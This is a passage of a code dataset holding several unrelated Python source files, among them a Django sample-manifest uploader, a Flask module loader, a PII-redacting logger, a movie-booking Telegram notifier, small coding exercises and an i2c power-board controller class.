str(file_path))\n                    with default_storage.open(file_path, 'wb+') as destination:\n                        for chunk in file.chunks():\n                            destination.write(chunk)\n\n                    im = Image.open(file_path)\n                    im.thumbnail(size)\n                    im.save(thumbnail_path)\n                    # logging.info(\"written \" + str(file_path))\n                    break\n            if not found:\n                output.append({\"file_name\": str(file_display_path), \"specimen_id\": \"\", \"name\": \"\"})\n        # save to session\n        request = ThreadLocal.get_current_request()\n        request.session[\"image_specimen_match\"] = output\n        notify_frontend(data={\"profile_id\": self.profile_id}, msg=output, action=\"make_images_table\",\n                        html_id=\"images\")\n        return output\n\n    def check_permit_names(self, files):\n        # compare list of sample names with specimen ids already uploaded\n        samples = self.sample_data\n        # get list of specimen_ids in sample\n\n        specimen_id_column_index, sampling_permits_required_index, ethics_permits_required_index, nagoya_permits_required_index, sampling_permits_filename_index, ethics_permits_filename_index, nagoya_permits_filename_index = 0, 0, 0, 0, 0, 0, 0\n\n        output = list()\n        for num, col_name in enumerate(samples.columns):\n            if col_name == \"SPECIMEN_ID\":\n                specimen_id_column_index = num\n            elif col_name == \"SAMPLING_PERMITS_REQUIRED\":\n                sampling_permits_required_index = num\n            elif col_name == \"ETHICS_PERMITS_REQUIRED\":\n                ethics_permits_required_index = num\n            elif col_name == \"NAGOYA_PERMITS_REQUIRED\":\n                nagoya_permits_required_index = num\n            elif col_name == \"SAMPLING_PERMITS_FILENAME\":\n                sampling_permits_filename_index = num\n            elif col_name == \"ETHICS_PERMITS_FILENAME\":\n                ethics_permits_filename_index = num\n            elif col_name == \"NAGOYA_PERMITS_FILENAME\":\n                nagoya_permits_filename_index = num\n\n        if os.path.isdir(self.these_permits):\n            rmtree(self.these_permits)\n        self.these_permits.mkdir(parents=True)\n\n        write_path = Path(self.these_permits)\n        # display_write_path = Path(self.display_images)\n        for f in files:\n            file = files[f]\n\n            file_path = write_path / file.name\n            file_path = Path(settings.MEDIA_ROOT) / \"sample_permits\" / self.profile_id / file.name\n            with default_storage.open(file_path, 'wb+') as destination:\n                for chunk in file.chunks():\n                    destination.write(chunk)\n\n            filename = os.path.splitext(file.name)[0].upper()\n            # now iterate through samples data to see if there is a match between specimen_id and permit name\n        permit_path = Path(settings.MEDIA_ROOT) / \"sample_permits\" / self.profile_id\n        fail_flag = False\n        for num, sample in enumerate(samples.values):\n\n            specimen_id = sample[specimen_id_column_index].upper()\n\n            file_list = [f for f in os.listdir(permit_path) if isfile(join(permit_path, f))]\n            file_list = set(file_list)  # Remove duplicate filenames\n\n            if sample[ethics_permits_required_index] == \"Y\":\n                found = False\n                for filename in file_list:\n                    if filename == sample[ethics_permits_filename_index]:\n                        p = Path(settings.MEDIA_URL) / \"sample_permits\" / self.profile_id / filename\n                        output.append(\n                            {\"file_name\": str(p), \"specimen_id\": specimen_id, \"permit_type\": \"Ethics Permit\"})\n                        found = True\n                        break\n                if not found:\n                    output.append({\n                        \"file_name\": \"None\", \"specimen_id\": \"No Ethics Permits found for <strong>\" + specimen_id\n                                                            + \"</strong>\",\n                        \"file_name_expected\": sample[ethics_permits_filename_index],\n                        \"permit_type\": \"Ethics Permit\"\n                    })\n                    fail_flag = True\n            if sample[sampling_permits_required_index] == \"Y\":\n                found = False\n                for filename in file_list:\n                    if filename == sample[sampling_permits_filename_index]:\n                        p = Path(settings.MEDIA_URL) / \"sample_permits\" / self.profile_id / filename\n                        output.append(\n                            {\"file_name\": str(p), \"specimen_id\": specimen_id, \"permit_type\": \"Sampling Permit\"})\n                        found = True\n                        break\n                if not found:\n                    output.append({\n                        \"file_name\": \"None\", \"specimen_id\": \"No Sampling Permits found for <strong>\" + specimen_id\n                                                            + \"</strong>\",\n                        \"file_name_expected\": sample[sampling_permits_filename_index],\n                        \"permit_type\": \"Sampling Permit\"\n                    })\n                    fail_flag = True\n            if sample[nagoya_permits_required_index] == \"Y\":\n                found = False\n                for filename in file_list:\n                    if filename == sample[nagoya_permits_filename_index]:\n                        p = Path(settings.MEDIA_URL) / \"sample_permits\" / self.profile_id / filename\n                        output.append(\n                            {\"file_name\": str(p), \"specimen_id\": specimen_id, \"permit_type\": \"Nagoya Permit\"})\n                        found = True\n                        break\n                if not found:\n                    output.append({\n                        \"file_name\": \"None\", \"specimen_id\": \"No Nagoya Permits found for <strong>\" + specimen_id\n                                                            + \"</strong>\",\n                        \"file_name_expected\": sample[nagoya_permits_filename_index],\n                        \"permit_type\": \"Nagoya Permit\"\n                    })\n                    fail_flag = True\n        # save to session\n        request = ThreadLocal.get_current_request()\n        request.session[\"permit_specimen_match\"] = output\n        notify_frontend(data={\"profile_id\": self.profile_id, \"fail_flag\": fail_flag}, msg=output,\n                        action=\"make_permits_table\",\n                        html_id=\"permits\")\n        return output\n\n\n    def save_records(self):\n        # create mongo sample objects from info parsed from manifest and saved to session variable\n        # sample_data = self.sample_data\n\n        binary = pickle.loads(self.vr[\"manifest_data\"])\n        try:\n            sample_data = pandas.read_excel(binary, keep_default_na=False,\n                                            na_values=lookup.NA_VALS)\n        except ValueError:\n            sample_data = binary\n        sample_data = sample_data.loc[:, ~sample_data.columns.str.contains('^Unnamed')]\n        '''\n        for column in self.allowed_empty:\n            self.data[column] = self.data[column].fillna(\"\")\n        '''\n        sample_data = sample_data.apply(lambda x: x.astype(str))\n        sample_data = sample_data.apply(lambda x: x.str.strip())\n        sample_data.columns = sample_data.columns.str.replace(\" \", \"\")\n        manifest_id = str(uuid.uuid4())\n        request = ThreadLocal.get_current_request()\n        image_data = request.session.get(\"image_specimen_match\", [])\n\n        for im in image_data:\n            # create matching DataFile object for image is provided\n            if im[\"name\"]:\n                df = DataFile().get_records_by_fields({\"name\": im[\"name\"]})\n                if (len(df) == 0):\n                    fields = {\"file_location\": im[\"file_name\"], \"name\": im[\"name\"]}\n                    DataFile().save_record({}, **fields)\n\n        public_name_list = list()\n        x = json_to_pytype(lk.WIZARD_FILES[\"sample_details\"], compatibility_mode=False)\n        self.fields = jp.match(\n            '$.properties[?(@.specifications[*] == \"' + self.type.lower() + '\"& @.manifest_version[*]==\"' + self.current_schema_version + '\")].versions[0]',\n            x)\n\n        # Create a permit filename mapping\n        permit_filename_mapping = dict()\n        permit_filename_lst = list()\n\n        for col_name in lookup.PERMIT_FILENAME_COLUMN_NAMES:\n            if col_name in sample_data.columns:\n                permit_filename_lst.extend(sample_data[col_name].unique().tolist())\n\n        # Iterate the list of permit filenames and create a mapping\n        for permit_filename in permit_filename_lst:\n            if permit_filename.endswith(\".pdf\"):\n                current_date = get_datetime().strftime('%Y%m%d')\n                new_permit_filename = permit_filename.replace('.pdf', \"_\" + str(current_date) + \".pdf\")\n                permit_filename_mapping[permit_filename] = new_permit_filename\n\n        sample_data[\"_id\"] = \"\"\n        for index, p in sample_data.iterrows():\n            s = dict(p)\n            type = \"\"\n            # store manifest version for posterity. If unknown store as 0\n            if \"asg\" in self.type.lower():\n                type = \"ASG\"\n            elif \"dtolenv\" in self.type.lower():\n                type = \"DTOLENV\"\n            elif \"dtol\" in self.type.lower():\n                type = \"DTOL\"\n            elif \"erga\" in self.type.lower():\n                type = \"ERGA\"\n\n            s[\"manifest_version\"] = settings.MANIFEST_VERSION.get(type, \"0\")\n            s[\"sample_type\"] = self.type.lower()\n            s[\"tol_project\"] = self.type\n            s[\"associated_tol_project\"] = self.associated_type\n            s[\"biosample_accession\"] = []\n            s[\"manifest_id\"] = manifest_id\n            if \"erga\" in self.type.lower() and s[\"ASSOCIATED_TRADITIONAL_KNOWLEDGE_OR_BIOCULTURAL_PROJECT_ID\"]:\n                s[\"status\"] = \"private\"\n            else:\n                s[\"status\"] = \"pending\"\n            s[\"rack_tube\"] = s.get(\"RACK_OR_PLATE_ID\", \"\") + \"/\" + s[\"TUBE_OR_WELL_ID\"]\n            notify_frontend(data={\"profile_id\": self.profile_id},\n                            msg=\"Creating Sample with ID: \" + s.get(\"TUBE_OR_WELL_ID\") + \"/\" + s[\"SPECIMEN_ID\"],\n                            action=\"info\",\n                            html_id=\"sample_info\")\n\n            # change fields for symbiont\n            if s[\"SYMBIONT\"] == \"SYMBIONT\":\n                s[\"ORGANISM_PART\"] = \"WHOLE_ORGANISM\"\n                for field in self.fields:\n                    if field not in lookup.SYMBIONT_FIELDS:\n                        target = Sample().get_target_by_field(\"rack_tube\", s[\"rack_tube\"])\n                        if target:\n                            s[field] = target[0].get(field, \"\")\n                        else:\n                            for p in range(1, len(sample_data)):\n                                row = (map_to_dict(sample_data[0], sample_data[p]))\n                                if row.get(\"RACK_OR_PLATE_ID\", \"\") == s.get(\"RACK_OR_PLATE_ID\", \"\") and row.get(\n                                        \"TUBE_OR_WELL_ID\", \"\") == s.get(\"TUBE_OR_WELL_ID\", \"\") and row.get(\"SYMBIONT\",\n                                                                                                           \"\") == \"TARGET\":\n                                    s[field] = row.get(field, \"\")\n                # if ASG change also sex to not collected\n                if s[\"tol_project\"] == \"ASG\":\n                    s[\"SEX\"] = \"NOT_COLLECTED\"\n\n            # Update permit filename\n            s = update_permit_filename(s, permit_filename_mapping)\n\n            s = make_species_list(s)\n            sampl = Sample(profile_id=self.profile_id).save_record(auto_fields={}, **s)\n            Sample().timestamp_dtol_sample_created(sampl[\"_id\"])\n            # update permit filename in the database i.e. set unique filename as the permit filename\n\n            if not sampl[\"species_list\"][0][\"SYMBIONT\"] or sampl[\"species_list\"][0][\"SYMBIONT\"] == \"TARGET\":\n                public_name_list.append(\n                    {\"taxonomyId\": int(sampl[\"species_list\"][0][\"TAXON_ID\"]), \"specimenId\": sampl[\"SPECIMEN_ID\"],\n                     \"sample_id\": str(sampl[\"_id\"])})\n\n            p[\"_id\"] = sampl[\"_id\"]\n\n            # for im in image_data:\n            #    # create matching DataFile object for image is provided\n            #    if s[\"SPECIMEN_ID\"] in im[\"specimen_id\"]:\n            #        DataFile().insert_sample_id(im[\"name\"], sampl[\"_id\"])\n\n        for im in image_data:\n            # create matching DataFile object for image is provided\n            samplelist = sample_data.loc[sample_data[\"SPECIMEN_ID\"] == im[\"specimen_id\"]][\"_id\"].tolist()\n            DataFile().insert_sample_ids(im[\"name\"], samplelist)\n\n        uri = request.build_absolute_uri('/')\n        # query public service service a first time now to trigger request for public names that don't exist\n        public_names = query_public_name_service(public_name_list)\n        for name in public_names:\n            if name.get(\"status\", \"\") == \"Rejected\":\n                Sample().add_rejected_status_for_tolid(name['specimen'][\"specimenId\"])\n                continue\n            Sample().update_public_name(name)\n        profile_id = request.session[\"profile_id\"]\n        profile = Profile().get_record(profile_id)\n        title = profile[\"title\"]\n        description = profile[\"description\"]\n        Email().notify_manifest_pending_approval(uri + 'copo/accept_reject_sample/', title=title,\n                                                     description=description,\n                                                     project=self.type.upper(), is_new=True)\n        \n    def update_records(self):\n        binary = pickle.loads(self.vr[\"manifest_data\"])\n        try:\n            sample_data = pandas.read_excel(binary, keep_default_na=False,\n                                            na_values=lookup.NA_VALS)\n        except ValueError:\n            sample_data = binary\n\n        request = ThreadLocal.get_current_request()\n        public_name_list = list()\n        sample_data[\"_id\"] = \"\"\n        need_send_email = False\n\n        # Create a permit filename mapping\n        permit_filename_mapping = dict()\n        permit_filename_lst = list()\n\n        for col_name in lookup.PERMIT_FILENAME_COLUMN_NAMES:\n            if col_name in sample_data.columns:\n                permit_filename_lst.extend(sample_data[col_name].unique().tolist())\n\n        # Iterate the list of permit filenames and create a mapping\n        for permit_filename in permit_filename_lst:\n            if permit_filename.endswith(\".pdf\"):\n                current_date = get_datetime().strftime('%Y%m%d')\n                new_permit_filename = permit_filename.replace('.pdf', \"_\" + str(current_date) + \".pdf\")\n                permit_filename_mapping[permit_filename] = new_permit_filename\n\n        for p in range(0, len(sample_data)):\n            s = map_to_dict(sample_data.columns, sample_data.iloc[p, :])\n            notify_frontend(data={\"profile_id\": self.profile_id},\n                            msg=\"Updating Sample with ID: \" + s[\"TUBE_OR_WELL_ID\"] + \"/\" + s[\"SPECIMEN_ID\"],\n                            action=\"info\",\n                            html_id=\"sample_info\")\n            rack_tube = s.get(\"RACK_OR_PLATE_ID\", \"\") + \"/\" + s[\"TUBE_OR_WELL_ID\"]\n            recorded_sample = Sample().get_target_by_field(\"rack_tube\", rack_tube)[0]\n            sample_data.at[p, '_id'] = recorded_sample[\"_id\"]\n            is_updated = False\n\n            # Update permit filename\n            for col_name in lookup.PERMIT_FILENAME_COLUMN_NAMES:\n                if s.get(col_name, \"\") and s.get(col_name, \"\") not in lookup.BLANK_VALS:\n                    s[col_name] = permit_filename_mapping.get(s.get(col_name, \"\"), \"\")\n\n            for field in s.keys():\n                if s[field] != recorded_sample.get(field, \"\") and s[field].strip() != recorded_sample[\"species_list\"][\n                    0].get(field, \"\"):\n                    if field in lookup.SPECIES_LIST_FIELDS:\n                        # record change\n                        Sample().record_user_update(field, recorded_sample[\"species_list\"][0][field], s[field],\n                                                    recorded_sample[\"_id\"])\n                        # update sample\n                        Sample().add_field(\"species_list.0.\" + str(field), s[field], recorded_sample[\"_id\"])\n                        is_updated = True\n                    else:\n                        # record change\n                        Sample().record_user_update(field, recorded_sample[field], s[field], recorded_sample[\"_id\"])\n                        # update sample\n                        Sample().add_field(field, s[field], recorded_sample[\"_id\"])\n                        is_updated = True\n\n            if recorded_sample[\"biosampleAccession\"] and is_updated:\n                Sample().mark_pending(recorded_sample[\"_id\"])\n                need_send_email = True\n\n            uri = request.build_absolute_uri('/')\n            # query public service service a first time now to trigger request for public names that don't exist\n            public_names = query_public_name_service(public_name_list)\n            for name in public_names:\n                if name.get(\"status\", \"\") == \"Rejected\":\n                    Sample().add_rejected_status_for_tolid(name['specimen'][\"specimenId\"])\n                    continue\n                Sample().update_public_name(name)\n            profile_id = request.session[\"profile_id\"]\n            profile = Profile().get_record(profile_id)\n            title = profile[\"title\"]\n            description = profile[\"description\"]\n\n        if need_send_email:\n            Email().notify_manifest_pending_approval(uri + 'copo/accept_reject_sample/', title=title,\n                                                         description=description,\n                                                         project=self.type.upper(), is_new=False)\n\n        image_data = request.session.get(\"image_specimen_match\", [])\n        for im in image_data:\n            if im[\"name\"]:\n                samplelist = sample_data.loc[sample_data[\"SPECIMEN_ID\"] == im[\"specimen_id\"]][\"_id\"].tolist()\n                df = DataFile().get_records_by_fields({\"name\": im[\"name\"]})\n                if (len(df) == 0):\n                    fields = {\"file_location\": im[\"file_name\"], \"name\": im[\"name\"]}\n                    df = DataFile().save_record({}, **fields)\n                    DataFile().insert_sample_ids(im[\"name\"], samplelist)\n                else:\n                    orginallist = df[0][\"description\"][\"attributes\"][\"attach_samples\"][\"study_samples\"]\n                    resultlist = [sam for sam in samplelist if sam not in orginallist]\n                    DataFile().insert_sample_ids(im[\"name\"], resultlist)\n","repo_name":"collaborative-open-plant-omics/COPO-production","sub_path":"src/apps/copo_dtol_upload/utils/Dtol_Spreadsheet.py","file_name":"Dtol_Spreadsheet.py","file_ext":"py","file_size_in_byte":35347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14659471273","text":"# Tee ohjelma, joka kysyy oppilaitten nimiä niin kauan kunnes käyttäjä antaa tyhjän syötteen. \r\n# Ohjelma kertoo tämän jälkeen montako nimeä annettiin ja näyttää ne yhtenä rivinä pilkulla erotettuna.\r\n\r\nLkm = 0\r\nYhteenlasku = \" \"\r\n\r\nwhile True:\r\n    Nimi = str(input(\"Anna Nimiä, tyhjä kenttä lopettaa kysymyksen: \"))\r\n    if not Nimi:\r\n      break\r\n    else:\r\n        Nimi2 = str(Nimi)\r\n        Lkm = Lkm + 1\r\n        Yhteenlasku = (str(Yhteenlasku)) + Nimi2 + \",\"\r\nprint(\"Syötit nimiä\", Lkm, \"kappaletta\")\r\nprint(\"Nimien määrä:\",Yhteenlasku)","repo_name":"Kaltsucoding/Basics-of-Python-Programming","sub_path":"examples/11-debugger/L11T03.py","file_name":"L11T03.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"54915210","text":"# -*- coding: UTF-8 -*-\nfrom __future__ import absolute_import, unicode_literals\n\nimport fnmatch\nimport os\nimport sys\nimport logging\n\nfrom six import iteritems\n\nfrom .util import ensure_iterable\n\nlogger = logging.getLogger(__name__)\n\n\nclass AppLoader(object):\n    \"\"\"\n    Import all subpackages/modules from the app's main directory.\n    .. code-block::\n        from flask_apploader import AppLoader\n\n        def model_callback(modules):\n            # Given /myapp/models/foo.py, outputs 'myapp.models.foo'\n            for x in modules:\n                print(x.__name__)\n\n        app_loader = AppLoader(callbacks={'models': model_callback})\n\n        def create_app():\n            app = Flask(__name__)\n            app_loader.init_app(app)\n    \"\"\"\n    def __init__(self, app=None, groups=None, callbacks=None, load_on_init=None):\n        \"\"\"\n        :param dict groups:\n            Define groups of UNIX glob patterns (list or tuple) to be matched against module paths.\n            Defaults to 'models' = '*model*' and 'views' = '*view*'.\n        :param dict callbacks:\n            Functions to call after groups are loaded.\n            Callbacks will be passed a list of module objects that comprise the group.\n            Keys should match those in `groups`.\n        :param list load_on_init:\n            Groups to be loaded during :meth:`init_app`.\n            Defaults to ['models'].\n        \"\"\"\n        self.groups = groups or {\n            'models': ['*model*'],\n            'views': ['*view*']}\n        self.callbacks = callbacks or {}\n        self.load_on_init = load_on_init or ['models']\n\n        if app is not None:\n            self.init_app(app)\n\n    def init_app(self, app):\n        self.app = app\n        self.find_modules()\n        for x in self.load_on_init:\n            self.load_group(x)\n\n    def load_group(self, group):\n        modules = []\n\n        module_paths = self.grouped_module_paths.get(group, [])\n        for module_path in module_paths:\n            if module_path not in sys.modules:\n                logger.debug(\"Importing module: %s\", module_path)\n                __import__(module_path)\n            modules.append(sys.modules[module_path])\n\n        self._execute_callbacks(group, modules)\n        return modules\n\n    def _execute_callbacks(self, group, *args, **kwargs):\n        for callback in ensure_iterable(self.callbacks.get(group, [])):\n            callback(*args, **kwargs)\n\n    def find_modules(self):\n        \"\"\"\n        Walk the app's dir and grab any modules that match the predefined patterns.\n        \"\"\"\n        # set up a place to hold the modules, using the same keys as the patterns\n        self.grouped_module_paths = dict((x, []) for x in self.groups.keys())\n\n        for directory, dirnames, filenames in os.walk(self.app.root_path):\n            # /path/to/myapp/foo --> myapp/foo\n            rel_dir = os.path.relpath(directory,\n                os.path.join(self.app.root_path, '../')).replace('\\\\', '/')\n\n            if rel_dir.endswith('__pycache__'):\n                continue\n\n            mod_base = rel_dir.replace('/', '.').strip('.')\n\n            for mod_name in (v[:-3] for v in filenames if v.endswith('.py')):\n                if mod_name == '__init__':\n                    mod_name = ''\n                mod_path = '{}.{}'.format(mod_base, mod_name).strip('.')\n\n                #print(directory, rel_dir, mod_base, mod_name, mod_path)\n                for group, patterns in iteritems(self.groups):\n                    if any(fnmatch.fnmatch(mod_path, x) for x in patterns):\n                        self.grouped_module_paths[group].append(mod_path)\n","repo_name":"sycdan/flask-apploader","sub_path":"flask_apploader/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"32101493079","text":"import sys\n\nn = int(sys.stdin.readline())\ndata = []\n\nfor i in range(n):\n    data.append(list(map(int, sys.stdin.readline().split())))\n\ndpmax = [data[0][0], data[0][1], data[0][2]]\ndpmin = [data[0][0], data[0][1], data[0][2]]\n\nfor i in range(1, n):\n    dpmax = max(dpmax[0], dpmax[1]) + data[i][0], max(dpmax) + data[i][1], max(dpmax[1], dpmax[2]) + data[i][2]\n    dpmin = min(dpmin[0], dpmin[1]) + data[i][0], min(dpmin) + data[i][1], min(dpmin[1], dpmin[2]) + data[i][2]\nprint(max(dpmax), min(dpmin))","repo_name":"LONGNEW/Problem_Solving","sub_path":"DP/BOJ 2096 내려가기.py","file_name":"BOJ 2096 내려가기.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26151648854","text":"#!/usr/bin/env python3\n\"\"\"Contains a filtering function\"\"\"\n\nimport logging\nimport re\nfrom typing import List, Tuple\nimport os\nimport mysql.connector\n\nPII_FIELDS: Tuple = (\"name\", \"email\", \"phone\", \"ssn\", \"password\")\n\n\nclass RedactingFormatter(logging.Formatter):\n    \"\"\" Redacting Formatter class\n        \"\"\"\n\n    REDACTION = \"***\"\n    FORMAT = \"[HOLBERTON] %(name)s %(levelname)s %(asctime)-15s: %(message)s\"\n    SEPARATOR = \";\"\n\n    def __init__(self, fields: List[str]):\n        super(RedactingFormatter, self).__init__(self.FORMAT)\n        self.fields = fields\n\n    def format(self, record: logging.LogRecord) -> str:\n        \"\"\"\n        filters incoming records\n        :param record:\n        :return:\n            filtered result\n        \"\"\"\n        return filter_datum(self.fields, self.REDACTION,\n                            super().format(record), self.SEPARATOR)\n\n\ndef filter_datum(fields: List[str], redaction: str,\n                 message: str, separator: str) -> str:\n    \"\"\"\n    Obfuscates the sensitive fields in a log message.\n    \"\"\"\n    for field in fields:\n        if field in message:\n            message = re.sub(r\"{}=.*?{}\".format(field, separator),\n                             '{}={}{}'.format(field, redaction, separator),\n                             message)\n    return message\n\n\ndef get_logger() -> logging.Logger:\n    \"\"\"\n    :return:\n        logging.logger object\n    \"\"\"\n    logger = logging.getLogger(\"user_data\")\n    logger.setLevel(logging.INFO)\n    logger.propagate = False\n    stream_handler = logging.StreamHandler()\n    formatter = RedactingFormatter(fields=PII_FIELDS)\n    stream_handler.setFormatter(formatter)\n    logger.addHandler(stream_handler)\n    return logger\n\n\ndef get_db() -> mysql.connector.connection.MySQLConnection:\n    \"\"\" returns a secured connection\"\"\"\n    USERNAME: str = os.getenv(\"PERSONAL_DATA_DB_USERNAME\", \"root\")\n    PASSWORD: str = os.getenv(\"PERSONAL_DATA_DB_PASSWORD\", \"\")\n    HOST: str = os.getenv(\"PERSONAL_DATA_DB_HOST\", \"localhost\")\n    DATABASE: str = os.getenv(\"PERSONAL_DATA_DB_NAME\")\n\n    return mysql.connector.connect(\n        host=HOST,\n        user=USERNAME,\n        password=PASSWORD,\n        database=DATABASE\n    )\n\n\ndef main() -> None:\n    \"\"\" main function\"\"\"\n    db = get_db()\n    cursor = db.cursor()\n    cursor.execute(\"SELECT * FROM users;\")\n    fields = [description[0] for description in cursor.description]\n    logger = get_logger()\n    for row in cursor:\n        row_data = dict(zip(fields, row))\n        string = []\n        s = RedactingFormatter.SEPARATOR\n        for field, value in row_data.items():\n            if field in PII_FIELDS:\n                string.append(f\"{field}={RedactingFormatter.REDACTION}{s}\")\n            elif field == \"last_login\":\n                string.append(f\"{field}={value.isoformat()}{s}\")\n            else:\n                string.append(f\"{field}={value}{s}\")\n        logger.info(f\" \".join(string))\n    cursor.close()\n    db.close()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"DaviesBrown/alx-backend-user-data","sub_path":"0x00-personal_data/filtered_logger.py","file_name":"filtered_logger.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15195432261","text":"import requests\nimport telegram\nfrom telegram.ext import Updater, MessageHandler, CommandHandler, Filters\nimport time\nfrom timer import Timer\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\n# date = '211117'\n# MovieName = '유체이탈자'\n# Theater = '2D'\ndate = '211114'\nMovieName = '이터널스'\nTheater = 'IMAX관'\n# Theater = '4DX'\nurl = \"http://www.cgv.co.kr/common/showtimes/iframeTheater.aspx?areacode=01&theatercode=0013&date=20\"+date\n\n# For Telegram\ndo_stop = False\ndef stop_command(update, context):\n  update.message.repley_text('알람 그만할게~')\n  \ntelegram_token = ''\nchat_id = ''\nimax_booking_bot = telegram.Bot(token = telegram_token)\n# updater = Updater(telegram_token, use_context = True)\n# stop_handler = CommandHandler('stop', stop_command)\n# updater.dispatcher.add_handler(stop_handler)\n\nif __name__ == \"__main__\":\n  \n  isFirst = True\n  didyouget = False\n  timer  = Timer()\n  prevtic = timer.get_tic()\n  dt = 60*60\n\n  now = datetime.now()\n  nowDatetime = now.strftime('%Y-%m-%d %H:%M:%S')\n  msg = '%s : 이제 예매표 본다..! : %s 일자 %s %s'%(nowDatetime, date, MovieName, Theater)\n  print(msg)\n  imax_booking_bot.sendMessage(chat_id=chat_id, text=msg)\n  while True:\n    if True:\n      resp = requests.get(url)\n      html = resp.text\n      soup = BeautifulSoup(html, 'html.parser')\n      lists = soup.select('.col-times')\n      now = datetime.now()\n      nowDatetime = now.strftime('%Y-%m-%d %H:%M:%S')\n      for i in range(0,len(lists)):\n        if MovieName in str(lists[i]) and Theater in str(lists[i]):\n          if '준비중' in str(lists[i]):\n            dt = 60*10\n            msg = '%s : %s 일자 %s - %s - 준비중..!'%(nowDatetime, date, MovieName, Theater)\n          else:\n            dt = 1\n            msg = '%s : %s 일자 %s - %s - 예매 ㄱㄱ!!'%(nowDatetime, date, MovieName, Theater)\n          break\n        else:\n          msg = '%s : %s 일자 %s - %s - 아직 안뜸...ㅠ'%(nowDatetime, date, MovieName, Theater)\n    # updater.start_polling(timeout=0, clean=True)\n    # updater.idle()\n    nowtic = timer.get_tic()\n    if ((isFirst == True) | (nowtic - prevtic > dt)):\n      isFirst = False\n      # print('dt : ',nowtic - prevtic)\n      prevtic = nowtic\n      print(msg)\n      imax_booking_bot.sendMessage(chat_id=chat_id, text=msg)\n\n    time.sleep(3)","repo_name":"Kimbyung-wook/Garage","sub_path":"MovieBookingManager/bookingmanager.py","file_name":"bookingmanager.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43132225436","text":"# title : 특별한 정렬\n\ndef selectionSort(a, N):\n    for i in range(N-1):\n        minIdx = i\n        for j in range(i+1, N):\n            if a[minIdx] > a[j]:\n                minIdx = j\n        a[i], a[minIdx] = a[minIdx], a[i]\n    return a\n\nT = int(input())\n\nfor t in range(1, T+1):\n    n = int(input())\n    data = list(map(int, input().split()))\n    data = selectionSort(data, len(data))\n    print(f'#{t}', end=' ')\n    for i in range(5):\n        print(data[-i-1], end=' ')\n        print(data[i], end=' ')\n    print()","repo_name":"jinugi214/sw-expert-academy","sub_path":"python_study/D3/4843.py","file_name":"4843.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26040890865","text":"import smbus\nimport time\n\n\nclass CSPB:\n    \"\"\" \n    A class for i2c communication with the cluster system power board.\n    \n    Attributes\n    ----------\n    i2c_port: int\n        the i2c bus or port number.    \n    address: int\n        the i2c bus address of the cluster system power board.\n    \n    Methods\n    -------\n    set_power(value):\n        Sends the power command value to the cluster system power board.\n        \n    shutdown(value):\n        Sends the shutdown command value to the cluster system power board.\n        \n    signal_shutdown(value):\n        Sends the shutdown signal only command value to the cluster system \n        power board.\n        \n    read_register(register_number):\n        returns the data for the specified register.\n        \n    write_register(register_number, value):\n        writes the given data to the specified register.\n    \n    set_register_number(register_number):\n        sets the register number for the read_register command.\n    \n    send_command(command):\n        sends the command string over i2c to the cluster system power board.\n    \n    Author: Gerard L. Muir\n    \"\"\"\n    \n    # Command character definitions.\n    POWER = 0x21 # hex value for ! character\n    SLOT_SHUTDOWN = 0x23 # hex value for # character\n    SIGNAL_SHUTDOWN = 0x24 # hex value for $ character\n    SET_REGISTER = 0x52 # hex value for R character\n    WRITE_REGISTER = 0x57 # hex value for W character\n    \n    DEVICE_REG_MODE1 = 0x00\n    \n    # CSPB EEPROM register addresses.\n    I2C_ADDR_RGSTR_ADDR = 0  # i2c boot up address\n    SLT_PWR_UP_RGSTR_ADDR = 1  # slot power up on boot\n    APP_DATA_RGSTR_ADDR = 2  # application data\n    PWR_UP_DELAY = 3  # slot power up delay\n    PWR_DWN_SGNL_DRTN_RGSTR_ADDR = 4  # power down signal duration\n    SHTDWN_TIME_OUT_RGSTR_ADDR = 5  # slot shutdown timeout \n    MNTR_LN_STTS_RGSTR_ADDR = 128 # slot monitor line status \n    PWR_STTS_RGSTR_ADDR = 129 # slot power status\n    IN_SHUTDOWN_RGSTR_ADDR = 130 # Slot(s) in shutdown status\n    BUS_SETTLING_TIME = .005 # delay time to let i2c bus become available\n                             # between commands.\n\n\n    def __init__(self, i2c_port, address):\n        \"\"\"\n        Construct all necessary attributes for the CSPB object.\n    \n        Attributes\n        ----------\n        i2c_port: int\n            the i2c bus or port number.    \n        address: int\n            the i2c bus address of the cluster system power board.\n        \"\"\"\n        \n        self.i2c_port = i2c_port # 0 = /dev/i2c-0 (port I2C0),\n                                 # 1 = /dev/i2c-1 (port I2C1)\n        self.address = address   # i2c buss address in hex form.\n        self.bus = smbus.SMBus(i2c_port)\n \n        \n    def set_power(self, value):\n        \"\"\"\n        Sends the power command to the cluster system power board slots.\n        \n        The power register is a 4 bit value representing the power slots with\n        the least significant bit representing the first power slot. \n        \n        Parameters\n        ----------\n        value : int (0-15)\n            the power register value to write.\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        \n        cspb_command = [self.POWER, value]\n        self.send_command(cspb_command)\n   \n        \n    def shutdown(self, value):\n        \"\"\"\n        Sends the shutdown command to the cluster system power board slots.\n        \n        The shutdown register is a 4 bit value representing the power slots with\n        the least significant bit representing the first power slot. \n        \n        Parameters\n        ----------\n        value : int (0-15)\n            the shutdown command value to write.\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        \n        cspb_command = [self.SLOT_SHUTDOWN, value]\n        self.send_command(cspb_command)\n      \n        \n    def signal_shutdown(self, value):\n        \"\"\"\n        Sends the shutdown signal only command to the cluster system power\n        board slots.\n        \n        The shutdown signal only register is a 4 bit value representing the \n    